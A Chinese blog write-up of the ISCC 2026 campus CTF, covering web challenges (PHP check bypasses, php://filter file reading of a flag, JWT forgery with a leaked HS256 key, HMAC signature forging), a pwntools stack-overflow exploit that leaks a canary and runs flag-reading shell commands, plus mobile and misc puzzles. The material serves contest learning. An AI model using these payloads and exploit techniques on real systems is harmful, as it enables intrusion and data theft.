ISCC 2026 校赛

本文最后更新于 2026年5月18日 晚上

Web

消失的密钥 (The Vanishing Key)

一个密钥认证界面,http://39.105.213.28:12601/?source可以看源码

利用链很简单,一共要过三层校验

1
2
3
$step1 = $_GET['step1'];
$filtered = str_replace("key", "", $step1);
if ($filtered === "key") {

这里step1可以双写绕过

1
2
3
4
5
6
7
8
$a = $_POST['a'] ?? null;
if (!$a) {
echo "<div class='status-err'>[SYS] Error: POST data structure 'a' missing. Terminal locked.</div>";
echo "<p class='hint'>Note: The terminal UI is deprecated. Manual injection required.</p>";
} else {
$obj_a = (object)$a;
$user_key = $obj_a->key;
if (isset($user_key) && $user_key === "1337") {

这里考察数组传参,a[key]=1337

1
2
3
4
$val_a = $_GET['a'] ?? "";
$val_b = $_GET['b'] ?? "";
if ($val_a !== "" && $val_b !== "" && $val_a !== $val_b) {
if (md5($val_a) == md5($val_b)) {

一个简单的哈希弱比较

image-20260501095351724

JSON Beautifier

一个json美化的工具,支持json和data uri,访问一个不存在的页面提示robot.txt

image-20260501164647140

这里暴露了两个API端口,一个是美化端口,一个是预览端口

image-20260501164742714

这里通过file传参可以预览美化后的效果,推测存在文件包含,/api/preview.php/?file=../../var/www/html/src/api/preview.php可以读到源码

1
2
3
4
5
$file = (string)$_GET['file'];
$file = str_replace("\0", '', $file);//去掉空字符
$requested = TMP_DIR . '/' . $file;
$real = realpath($requested);//解析相对路径
$content = file_get_contents($real);

我们还发现这里有个config.php

1
2
3
4
5
6
7
8
9
<?php
declare(strict_types=1);

const APACHE_DEFAULT_DOCROOT = '/var/www/html';
const APACHE_DOCROOT = '/var/www/html/src';

const TMP_DIR = '/tmp/json_preview';
const SRC_API_DIR = APACHE_DOCROOT . '/api';
const FLAG_PATH = '/secret/flag';

flag的位置也确定了,直接访问没有权限,可以把伪协议写到预览文件里面

$deny = ['http', 'https', 'ftp', 'ftps', 'phar', 'expect', ];,我们用filter链

1
php://filter/resource=/secret/flag

image-20260501172012173

夜班审计台

一个sql查询的页面,可以登录但是不能注册,貌似sql注入功能是摆着好看的

发现有git泄露,一共两个文件

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
# legacy_probe_stub.py
# compact handover note for the audit platform cut-over

DEFAULT_AUDITOR = ("auditor", "audit2025")
INTERNAL_DEV_SECRET = "ISCC_2026_JWT_DEBUG_KEY_#9527"
JWT_ACCEPTED = ["RS256", "HS256"]


def decode_ticket(token):
"""
current branch:
if header.alg == "RS256": verify with audit_rsa_pub.pem
elif header.alg == "HS256": verify with INTERNAL_DEV_SECRET
normal login still issues role=user
"""
raise NotImplementedError


def handover():
note = []
note.append("dashboard link to /auditor/nodes stays role-gated")
note.append("legacy fallback verifier was removed from this revision")
note.append("if night shift asks for old sign rule, inspect previous revision")
return note


class TinyMaze:
MAP = [
"#########",
"#..#....#",
"#..#.#..#",
"#....#..#",
"#########",
]

def __init__(self, start=(1, 1)):
self.pos = list(start)

def move(self, dx, dy):
x = self.pos[0] + dx
y = self.pos[1] + dy
if self.MAP[y][x] != "#":
self.pos = [x, y]
return tuple(self.pos)

这里我们可以找到审计员的用户名密码,但是登录进去发现只有普通的user权限,这里就需要jwt伪造了,这里同时支持两种加密方式

RS256是非对称加密私钥签名公钥验证

HS256是对称加密,双方试用同一个密钥,并且源码已经泄露了密钥

我们先拿到jwt,解密把身份改为auditor把加密方式换成HS256

image-20260504185417642

通过这个jwt也是成功进入审计台,这里可以查询节点状态,但是需要签名,这就用到泄露的第二个文件了

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
# legacy_probe_stub.py
# old night-shift fallback verifier kept for rollback testing

SERVER_SECRET = "ISCC_SERVER_SECRET_REAL"
LOCAL_ONLY = ("127.0.0.1", "::1")
AUDIT_NODE = "core-storage-01"
TIME_WINDOW = 60 #60秒的时间窗


def verify_probe(node_id: str, ts: int, sign: str) -> bool:
"""
internal/audit fallback:
msg = f"{node_id}:{ts}"
expected = HMAC_SHA256_hex(SERVER_SECRET, msg)
abs(now-ts) <= 60
remote_addr in LOCAL_ONLY
"""
raise NotImplementedError


class PixelRunner:
def __init__(self):
self.energy = 3
self.score = 0

def tick(self, move: str):
if move in {"left", "right", "jump"}:
self.score += 1
self.energy = max(0, self.energy - 1)
return self.score, self.energy


def demo_loop(script):
game = PixelRunner()
for move in script:
game.tick(move)
return game.score

这里我们写一个脚本获取当前时间戳并计算签名,注意及时提交,只有60秒的时间窗

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import time, hmac, hashlib

node_id = "core-storage-01"
ts = str(int(time.time()))
secret = "ISCC_SERVER_SECRET_REAL"

sign = hmac.new(
secret.encode(),
f"{node_id}:{ts}".encode(),
hashlib.sha256
).hexdigest()

print(ts)
print(sign)

image-20260504185806061

Mobile

代号:暗箱解密行动

先在雷电模拟器装上,发现需要四个密钥才能获得flag

解包一下app,在assets文件夹发现三个文件

image-20260501211532322

p1_display.png明显是提示第一个密钥,是一个打乱的拼图,我们恢复一下

image-20260501212642038

43542E3D3660,应该是16进制,也就是p1 = CT.=6`

我也就能帮这点忙了,下面交给ai做了

image-20260501150125961

Pwn

stack

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
from pwn import *
import re
import time

context.arch = 'i386'
context.log_level = 'info'

HOST = '39.96.193.120'
PORT = 10004
GETSHELL = 0x080491c6

io = remote(HOST, PORT)
print(io.recv(timeout=2).decode(errors='ignore'))

# 1. 泄漏 canary
io.send(b'%29$p.%30$p.%31$p.%32$p\x00')
time.sleep(0.2)
leak = io.recv(timeout=2)
print('leak =', leak)

vals = re.findall(rb'0x[0-9a-fA-F]+|\(nil\)', leak)
canary = int(vals[2], 16)
print('canary =', hex(canary))

# 2. 第二次输入,覆盖返回地址到 getshell
payload = b'A' * 100
payload += p32(canary)
payload += b'B' * 8
payload += b'C' * 4
payload += p32(GETSHELL)

io.send(payload)

# 3. 读 flag
io.sendline(b'cat /flag 2>/dev/null || cat /flag.txt 2>/dev/null || find / -maxdepth 2 -name \"flag*\" 2>/dev/null | xargs -r cat')
print(io.recvrepeat(2).decode(errors='ignore'))

io.close()

Misc

双校区来信

一共两个附件,一个图片一个音频

先画一个谱频图

1
2
3
4
5
6
7
8
9
10
11
12
13
14
import wave, numpy as np, matplotlib.pyplot as plt
path = r'.\素材\campus_broadcast.wav'
with wave.open(path, 'rb') as w:
data = np.frombuffer(w.readframes(w.getnframes()), dtype=np.int16)
rate = w.getframerate()

plt.figure(figsize=(15,6))
plt.specgram(data, NFFT=512, Fs=rate, noverlap=400, cmap='magma')
plt.ylim(0, 22050)
plt.xlabel('Time (s)')
plt.ylabel('Freq (Hz)')
plt.tight_layout()
plt.savefig(r'.\spectrogram_full.png', dpi=180)
print('saved')

spectrogram_full

能看见hdbxqsdx

再看看图片里面有没有隐藏信息

后记

写下这段文字已经是5月18日晚上了,ISCC终于打完了,区域赛和国赛的wp就不放到博客了,题目没什么研究的价值,再也不想打这么恶心的比赛了。。。


ISCC 2026 校赛
https://www.sunynov.top/2026/05/01/ISCC-2026-校赛/
作者
suny
发布于
2026年5月1日
许可协议